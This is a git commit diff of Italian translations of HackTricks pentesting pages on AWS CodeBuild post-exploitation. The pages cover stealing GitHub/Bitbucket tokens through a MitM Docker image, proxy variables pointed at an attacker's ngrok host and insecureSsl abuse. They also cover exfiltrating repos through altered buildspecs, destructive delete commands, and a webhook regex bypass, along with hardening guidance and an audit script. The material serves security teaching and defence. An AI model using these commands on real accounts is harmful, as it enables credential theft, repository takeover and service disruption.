Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2026-02-03 12:51:20 +00:00
parent 20a305a902
commit afa2bb0754
3 changed files with 295 additions and 61 deletions
@@ -4,43 +4,43 @@
## CodeBuild
Per ulteriori informazioni, controlla:
Per ulteriori informazioni, consulta:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
### Controlla i Segreti
### Check Secrets
Se le credenziali sono state impostate in Codebuild per connettersi a Github, Gitlab o Bitbucket sotto forma di token personali, password o accesso token OAuth, queste **credenziali verranno memorizzate come segreti nel gestore dei segreti**.\
Pertanto, se hai accesso per leggere il gestore dei segreti, sarai in grado di ottenere questi segreti e passare alla piattaforma connessa.
Se in CodeBuild sono state impostate credenziali per connettersi a Github, Gitlab o Bitbucket sotto forma di personal tokens, password o OAuth token, queste **credentials saranno memorizzate come secrets nel secret manager**.\
Pertanto, se hai accesso in lettura al secret manager potrai ottenere questi secrets e pivotare verso la piattaforma connessa.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
{{#endref}}
### Abuso dell'Accesso al Repo di CodeBuild
### Abuse CodeBuild Repo Access
Per configurare **CodeBuild**, avrà bisogno di **accesso al repo di codice** che utilizzerà. Diverse piattaforme potrebbero ospitare questo codice:
Per configurare **CodeBuild** è necessario avere **accesso al repository del codice** che verrà utilizzato. Diversi provider possono ospitare questo codice:
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
Il **progetto CodeBuild deve avere accesso** al fornitore di sorgente configurato, sia tramite **ruolo IAM** che con un token github/bitbucket **o accesso OAuth**.
Il **progetto CodeBuild deve avere accesso** al source provider configurato, sia tramite **IAM role** sia con un github/bitbucket **token o accesso OAuth**.
Un attaccante con **permessi elevati su un CodeBuild** potrebbe abusare di questo accesso configurato per leakare il codice del repo configurato e altri a cui le credenziali impostate hanno accesso.\
Per fare ciò, un attaccante dovrebbe semplicemente **cambiare l'URL del repository a ciascun repo a cui le credenziali di configurazione hanno accesso** (nota che il web di aws elencherà tutti per te):
Un attacker con **permessi elevati su un progetto CodeBuild** potrebbe abusare di questo accesso configurato per leak il codice del repo configurato e di altri a cui le credenziali impostate hanno accesso.\
Per farlo, un attacker dovrebbe semplicemente **cambiare l'URL del repository verso ogni repo a cui le credenziali di configurazione hanno accesso** (nota che la console AWS elencherà tutti per te):
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
E **cambiare i comandi Buildspec per esfiltrare ciascun repo**.
E **modificare i comandi Buildspec per exfiltrate ogni repo**.
> [!WARNING]
> Tuttavia, questo **compito è ripetitivo e noioso** e se un token github è stato configurato con **permessi di scrittura**, un attaccante **non sarà in grado di (ab)usare quei permessi** poiché non ha accesso al token.\
> O ? Controlla la sezione successiva
> Tuttavia, questo **compito è ripetitivo e noioso** e se è stato configurato un github token con **write permissions**, un attacker **non sarà in grado di (ab)use di tali permessi** poiché non ha accesso al token.\
> O forse ce l'ha? Controlla la sezione successiva
### Leakare Token di Accesso da AWS CodeBuild
### Leaking Access Tokens from AWS CodeBuild
Puoi leakare l'accesso dato in CodeBuild a piattaforme come Github. Controlla se è stato dato accesso a piattaforme esterne con:
Puoi leak gli accessi concessi in CodeBuild verso piattaforme come Github. Verifica se è stato dato accesso a piattaforme esterne con:
```bash
aws codebuild list-source-credentials
```
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
aws-codebuild-token-leakage.md
{{#endref}}
### Untrusted PR execution via webhook filter misconfiguration
Se i filtri dei webhook sono deboli, attaccanti esterni possono far buildare le loro PRs in progetti CodeBuild privilegiati e poi eseguire codice arbitrario nella CI.
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
### `codebuild:DeleteProject`
Un attaccante potrebbe eliminare un intero progetto CodeBuild, causando la perdita della configurazione del progetto e influenzando le applicazioni che dipendono dal progetto.
Un attaccante potrebbe eliminare un intero progetto CodeBuild, causando la perdita della configurazione del progetto e impattando le applicazioni che dipendono dal progetto.
```bash
aws codebuild delete-project --name <value>
```
**Impatto Potenziale**: Perdita della configurazione del progetto e interruzione del servizio per le applicazioni che utilizzano il progetto eliminato.
**Impatto potenziale**: Perdita della configurazione del progetto e interruzione del servizio per le applicazioni che utilizzano il progetto eliminato.
### `codebuild:TagResource` , `codebuild:UntagResource`
Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di CodeBuild, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
Un attacker potrebbe aggiungere, modificare o rimuovere tag dalle risorse CodeBuild, compromettendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
```bash
aws codebuild tag-resource --resource-arn <value> --tags <value>
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
```
**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate su tag.
**Impatto potenziale**: Interruzione dell'allocazione dei costi, del tracciamento delle risorse e delle policy di controllo accessi basate sui tag.
### `codebuild:DeleteSourceCredentials`
Un attaccante potrebbe eliminare le credenziali di origine per un repository Git, influenzando il normale funzionamento delle applicazioni che dipendono dal repository.
Un attaccante potrebbe eliminare le credenziali di origine per un repository Git, compromettendo il normale funzionamento delle applicazioni che dipendono dal repository.
```sql
aws codebuild delete-source-credentials --arn <value>
```
**Impatto Potenziale**: Interruzione del normale funzionamento delle applicazioni che si basano sul repository interessato a causa della rimozione delle credenziali di origine.
**Potential Impact**: Interruzione del normale funzionamento delle applicazioni che dipendono dal repository interessato a causa della rimozione delle credenziali di origine.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,39 +2,39 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Recuperare token configurati di Github/Bitbucket
## Recuperare Github/Bitbucket Configurati Tokens
Per prima cosa, controlla se ci sono credenziali sorgente configurate che potresti leak:
Innanzitutto, verifica se ci sono source credentials configurate che potresti leak:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
Se riscontri che l'autenticazione, per esempio a Github, è impostata nell'account, puoi **exfiltrate** quell'**access** (**GH token or OAuth token**) facendo in modo che Codebuild **use an specific docker image** per eseguire il build del progetto.
Se scopri che l'autenticazione a esempio a Github è impostata nell'account, puoi **exfiltrate** quell'**accesso** (**GH token or OAuth token**) facendo in modo che Codebuild **use an specific docker image** per eseguire il build del progetto.
A questo scopo puoi **creare un nuovo Codebuild project** o cambiare l'**environment** di uno esistente per impostare la **Docker image**.
A questo scopo puoi **create a new Codebuild project** o modificare l'**environment** di uno esistente per impostare la **Docker image**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Questa è una Docker image molto basilare che imposterà le **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in **`https_proxy`** e **`http_proxy`** e di fidarti del certificato SSL indicato in **`SSL_CERT_FILE`**.
La Docker image che puoi usare è [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Questa è una Docker image molto basilare che imposterà le **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in **`https_proxy`** e **`http_proxy`** e di fidarti del certificato SSL indicato in **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
- Segui le istruzioni del repo per impostare il tuo proxy IP e il certificato SSL e **build the docker image**.
- **DO NOT SET `http_proxy`** per non intercettare le richieste verso l'endpoint dei metadata.
- Segui le istruzioni del repo per impostare l'indirizzo IP del proxy e il tuo certificato SSL e **build the docker image**.
- **DO NOT SET `http_proxy`** per non intercettare le richieste all'endpoint dei metadata.
- Puoi usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy verso il tuo host
- Una volta che hai buildato la Docker image, **upload it to a public repo** (Dockerhub, ECR...)
- Una volta che hai costruito la Docker image, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Crea un **nuovo Codebuild project** o **modifica** l'ambiente di uno esistente.
- Imposta il progetto per usare la **Docker image precedentemente generata**
- Crea un **new Codebuild project** o **modify** l'environment di uno esistente.
- Imposta il progetto per usare la **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Set the MitM proxy in your host**
- Come indicato nel **Github repo** potresti usare qualcosa del tipo:
- Come indicato nel **Github repo** potresti usare qualcosa come:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> È stata usata la **mitmproxy version used was 9.0.1**; è stato segnalato che con la versione 10 questo potrebbe non funzionare.
> La versione di **mitmproxy** utilizzata era la 9.0.1; è stato segnalato che con la versione 10 questo potrebbe non funzionare.
4. **Esegui la build & cattura le credenziali**
@@ -42,7 +42,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Questo può essere fatto anche dall'aws cli con qualcosa come
Questo può essere fatto anche dall'aws cli con qualcosa del tipo
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### Tramite insecureSSL
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\\
Abilitandola, si permette a Codebuild di connettersi al repository **senza verificare il certificato** offerto dalla piattaforma.
I progetti **Codebuild** hanno un'impostazione chiamata **`insecureSsl`** che è nascosta nella console web e può essere modificata solo tramite API.\
Abilitandola, consente a **Codebuild** di connettersi al repository **senza verificare il certificato** offerto dalla piattaforma.
- Prima devi enumerare la configurazione corrente con qualcosa del tipo:
- Per prima cosa è necessario enumerare la configurazione corrente con qualcosa del tipo:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Poi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** su **`True`**. Di seguito un esempio del mio aggiornamento di un progetto nota **`insecureSsl=True`** alla fine (questa è l'unica cosa che devi cambiare rispetto alla configurazione raccolta).
- Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** che puntano al tuo tcp ngrok come:
- Poi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito un esempio del mio aggiornamento di un progetto, nota **`insecureSsl=True`** alla fine (questa è l'unica cosa che devi cambiare rispetto alla configurazione raccolta).
- Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** puntandole al tuo tcp ngrok come:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Poi, esegui l'esempio di base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sulla porta indicata dalle variabili proxy (http_proxy e https_proxy)
- Poi, esegui l'esempio di base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) nella porta indicata dalle variabili proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Finalmente, clicca su **Build the project**, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
- Infine, clicca su **Build the project**, le **credenziali** verranno **inviate in chiaro** (base64) alla porta mitm:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Via protocollo HTTP~~
### ~~Tramite protocollo HTTP~~
> [!TIP] > **Questa vulnerability è stata corretta da AWS in qualche momento della settimana del 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
> [!TIP] > **Questa vulnerabilità è stata corretta da AWS in qualche momento nella settimana del 20 Feb 2023 (penso venerdì). Quindi un attacker non può più abusarne :)**
Un attacker con **permessi elevati su un CodeBuild potrebbe leak il token di Github/Bitbucket** configurato oppure, se i permessi erano configurati via OAuth, il **token OAuth temporaneo usato per accedere al codice**.
Un attacker con **permessi elevati su un CodeBuild potrebbe provocare il leak del token Github/Bitbucket** configurato oppure, se i permessi erano configurati via OAuth, del **token OAuth temporaneo usato per accedere al codice**.
- Un attacker potrebbe aggiungere le variabili d'ambiente **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (per esempio `http://5.tcp.eu.ngrok.io:14972`).
@@ -144,7 +144,7 @@ Un attacker con **permessi elevati su un CodeBuild potrebbe leak il token di Git
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Poi, cambia l'URL del repo di github per usare HTTP invece di HTTPS, per esempio: `http://github.com/carlospolop-forks/TestActions`
- Poi, cambia l'URL del repo github per usare HTTP invece di HTTPS, per esempio: `http://github.com/carlospolop-forks/TestActions`
- Poi, esegui l'esempio base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sulla porta indicata dalle variabili proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Successivamente, fai clic su **Compila il progetto** oppure avvia la build dalla riga di comando:
- Successivamente, clicca su **Costruisci il progetto** o avvia la compilazione dalla riga di comando:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Infine, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
- Infine, le **credentials** saranno **inviate in chiaro** (base64) alla porta mitm:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Ora un attaccante potrà usare il token dalla sua macchina, elencare tutti i privilegi che possiede e (ab)usarli più facilmente rispetto all'uso diretto del servizio CodeBuild.
> Ora un attacker sarà in grado di usare il token dalla sua macchina, elencare tutti i privilegi che possiede e (ab)use più facilmente rispetto all'uso diretto del servizio CodeBuild.
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
## Esecuzione di PR non affidabili tramite misconfigurazione del filtro webhook
Webhooks GitHub di CodeBuild mal configurati che usano regex `ACTOR_ID` non ancorate permettono a PR *non attendibili* di avviare build privilegiate. Se l'allowlist è del tipo `123456|7890123` senza `^`/`$`, qualsiasi ID che contenga una di queste sottostringhe corrisponde. Poiché gli ID utente di GitHub sono sequenziali, un attaccante può gareggiare per registrare un ID “eclipsing” (una superstringa di un ID attendibile) e innescare la build.
Per la PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), consulta:
## Percorso di exploit
1. Individuare progetti CodeBuild pubblici che espongono filtri webhook ed estrarre un'allowlist `ACTOR_ID` non ancorata.
2. Ottenere un ID GitHub eclipsing:
- Campionare il contatore globale degli ID creando/eliminando org GitHub (gli org ID condividono il pool).
- Pre-creare molteplici manifest di GitHub App e attivare gli URL di conferma quando il contatore è entro ~100 ID dal target per registrare rapidamente un bot con un ID che contiene la sottostringa attendibile.
3. Aprire una PR dall'account eclipsing; la regex corrisponde alla sottostringa e la build privilegiata viene avviata.
4. Usare build RCE (es. hook di installazione delle dipendenze) per dumpare la memoria del processo che gestisce le credenziali GitHub e recuperare il PAT/OAuth token.
5. Con il token dotato dello scope `repo`, invitare il proprio account come collaborator/admin e pushare/approvare commit malevoli o esfiltrare segreti.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,235 @@
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
{{#include ../../../../banners/hacktricks-training.md}}
Questo vettore di attacco si presenta quando un workflow PR esposto pubblicamente è collegato a un progetto CodeBuild privilegiato con controlli webhook deboli.
Se un attacker esterno riesce a far eseguire a CodeBuild la loro pull request, di solito può ottenere l'esecuzione di codice arbitrario all'interno della build (script di build, hook delle dipendenze, script di test, ecc.), e poi pivotare verso secrets, credenziali IAM o credenziali del provider di sorgente.
## Why this is dangerous
I filtro webhook di CodeBuild sono valutati con pattern regex (per i filtri diversi da `EVENT`). Nel filtro `ACTOR_ACCOUNT_ID`, questo significa che un pattern debole può corrispondere a più utenti del previsto.
Se PR non attendibili vengono costruite in un progetto che ha permessi role AWS privilegiati o credenziali GitHub, questo può diventare una compromissione completa della supply-chain.
Wiz ha mostrato una catena pratica dove:
1. Una allowlist di actor del webhook usava una **regex non ancorata**.
2. Un attacker ha registrato un ID GitHub che corrispondeva come **superstringa** di un ID trusted.
3. Una PR malevola ha triggerato CodeBuild.
4. L'esecuzione del codice nella build è stata usata per dumpare memoria e recuperare credenziali/token del provider di sorgente.
## Misconfigurations that allow external PR code execution
Di seguito gli errori ad alto rischio e come gli attacker abusano di ciascuno:
1. **`EVENT` filters allow untrusted triggers**
- Eventi comunemente rischiosi: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
- Altri eventi che possono diventare pericolosi se collegati a build privilegiate: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
- Pericoloso: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` in un progetto privilegiato.
- Consigliato: usare approvazione tramite commento su PR e minimizzare gli eventi di trigger per i progetti privilegiati.
- Abuso: l'attacker apre/aggiorna una PR o push su un branch che controlla, e il proprio codice viene eseguito in CodeBuild.
2. **`ACTOR_ACCOUNT_ID` regex is weak**
- Pericoloso: pattern non ancorati come `123456|7890123`.
- Consigliato: ancorare con corrispondenza esatta `^(123456|7890123)$`.
- Abuso: l'over-match della regex permette a ID GitHub non autorizzati di passare le allowlist.
3. **Other regex filters are weak or missing**
- `HEAD_REF`
- Pericoloso: `refs/heads/.*`
- Consigliato: `^refs/heads/main$` (o una lista esplicita di branch trusted)
- `BASE_REF`
- Pericoloso: `.*`
- Consigliato: `^refs/heads/main$`
- `FILE_PATH`
- Pericoloso: nessuna restrizione sui percorsi
- Consigliato: escludere file rischiosi come `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
- `COMMIT_MESSAGE`
- Pericoloso: fidarsi di un marcatore nel commit con match permissivo come `trusted`
- Consigliato: non usare il commit message come confine di trust per l'esecuzione delle PR
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
- Pericoloso: `.*` in webhook a livello org/globale
- Consigliato: corrispondenze esatte solo per repo/org
- `WORKFLOW_NAME`
- Pericoloso: `.*`
- Consigliato: corrispondenze esatte del nome del workflow (o evitare di usare questo come meccanismo di trust)
- Abuso: l'attacker costruisce ref/path/message/context del repo in modo da soddisfare una regex permissiva e triggerare le build.
4. **`excludeMatchedPattern` is misused**
- Impostare questo flag in modo errato può invertire la logica desiderata.
- Pericoloso: `FILE_PATH '^buildspec\\.yml$'` con `excludeMatchedPattern=false` quando l'intento era bloccare modifiche a buildspec.
- Consigliato: stesso pattern con `excludeMatchedPattern=true` per negare build che toccano `buildspec.yml`.
- Abuso: i defender pensano di negare eventi/percorsi/actor rischiosi, ma in realtà li consentono.
5. **Multiple `filterGroups` create accidental bypasses**
- CodeBuild valuta i gruppi come OR (basta che un gruppo passi).
- Pericoloso: un gruppo rigido + un gruppo fallback permissivo (es., solo `EVENT=PULL_REQUEST_UPDATED`).
- Consigliato: rimuovere gruppi fallback che non applicano vincoli su actor/ref/path.
- Abuso: l'attacker ha bisogno solo di soddisfare il gruppo più debole.
6. **Comment approval gate disabled or too permissive**
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` è il meno sicuro.
- Ruoli approvatori troppo estesi riducono il controllo.
- Pericoloso: `requiresCommentApproval=DISABLED`.
- Consigliato: `ALL_PULL_REQUESTS` o `FORK_PULL_REQUESTS` con ruoli approvatori ristretti.
- Abuso: PR da fork/drive-by eseguono automaticamente senza approvazione di maintainer trusted.
7. **No restrictive branch/path strategy for PR builds**
- Mancanza di defense-in-depth con `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
- Pericoloso: solo `EVENT` + `ACTOR_ACCOUNT_ID`, senza controlli su ref/path.
- Consigliato: combinare `ACTOR_ACCOUNT_ID` esatto + `BASE_REF` + `HEAD_REF` + restrizioni `FILE_PATH`.
- Abuso: l'attacker modifica input di build (buildspec/CI/dipendenze) e ottiene esecuzione di comandi arbitrari.
8. **Public visibility + status URL exposure**
- URL di build/check pubblici facilitano il ricon e i test iterativi dell'attacker.
- Pericoloso: `projectVisibility=PUBLIC_READ` con log/config sensibili in build pubbliche.
- Consigliato: mantenere i progetti privati a meno di forti necessità business, e sanitizzare log/artifact.
- Abuso: l'attacker scopre pattern/comportamento del progetto e poi affina payload e tentativi di bypass.
## Token leakage from memory
La write-up di Wiz spiega che le credenziali del provider di sorgente sono presenti nel contesto di runtime della build e possono essere rubate dopo una compromissione della build (per esempio tramite memory dumping), permettendo il takeover del repository se gli scope sono ampi.
AWS ha introdotto hardening dopo la disclosure, ma la lezione principale rimane: **non eseguire codice di PR non attendibili in contesti di build privilegiati** e assumere che codice controllato dall'attacker tenterà di rubare credenziali.
Per tecniche aggiuntive di credential theft in CodeBuild, consulta anche:
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
## Finding CodeBuild URLs in GitHub PRs
Se CodeBuild riporta lo stato back a GitHub, l'URL della build di CodeBuild di solito appare in:
1. **PR page** -> **Checks** tab (o la linea di stato in Conversation/Commits).
2. **Commit page** -> sezione status/checks -> link **Details**.
3. **PR commits list** -> cliccare il contesto di check allegato a un commit.
Per progetti pubblici, questo link può esporre metadata/configurazione della build ad utenti non autenticati.
<details>
<summary>Script: rileva URL CodeBuild in una PR e verifica se appaiono pubblici</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Usage:
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
#
# Requirements: gh, jq, curl
OWNER="${1:?owner}"
REPO="${2:?repo}"
PR="${3:?pr_number}"
for bin in gh jq curl timeout; do
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
done
tmp_commits="$(mktemp)"
tmp_urls="$(mktemp)"
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
gh_api() {
timeout 20s gh api "$@" 2>/dev/null || true
}
# Get all commit SHAs in the PR (bounded call to avoid hangs)
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
if [ ! -s "$tmp_commits" ]; then
echo "[!] No commits found (or API call timed out/failed)." >&2
exit 1
fi
echo "[*] PR commits:"
cat "$tmp_commits"
echo
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
while IFS= read -r sha; do
[ -z "$sha" ] && continue
# Classic commit statuses (target_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
# GitHub Checks API (details_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
done < "$tmp_commits" | sort -u > "$tmp_urls"
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
echo
echo "[*] Public-access heuristic:"
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
echo
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
if [ -z "$cb_urls" ]; then
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
exit 0
fi
while IFS= read -r url; do
[ -z "$url" ] && continue
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
elif [ "$code" = "200" ]; then
verdict="POTENTIALLY_PUBLIC"
else
verdict="UNKNOWN_CHECK_MANUALLY"
fi
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
done <<< "$cb_urls"
```
Testato con:
```bash
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
```
</details>
## Checklist rapida di audit
```bash
# Enumerate projects
aws codebuild list-projects
# Inspect source/webhook configuration
aws codebuild batch-get-projects --names <project-name>
# Inspect global source credentials configured in account
aws codebuild list-source-credentials
```
Controlla ogni progetto per:
- `webhook.filterGroups` containing PR events.
- `ACTOR_ACCOUNT_ID` patterns that are not anchored with `^...$`.
- `pullRequestBuildPolicy.requiresCommentApproval` equal to `DISABLED`.
- Assenza di restrizioni su branch/percorso.
- `serviceRole` ad alto privilegio.
- Ambito e riuso rischiosi delle source credentials.
## Linee guida di hardening
1. Richiedi approvazione via commento per le build PR (`ALL_PULL_REQUESTS` o `FORK_PULL_REQUESTS`).
2. Se usi allowlist di actor, ancora le regex e mantienile esatte.
3. Aggiungi restrizioni `FILE_PATH` per evitare modifiche non attendibili a `buildspec.yml` e script CI.
4. Separa le build di release affidabili dalle build PR non affidabili in progetti/ruoli separati.
5. Usa token del source-provider a granularità fine e con privilegi minimi (preferisci identità dedicate a basso privilegio).
6. Monitora continuamente i filtri webhook e l'uso delle credenziali sorgenti.
## Riferimenti
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
{{#include ../../../../banners/hacktricks-training.md}}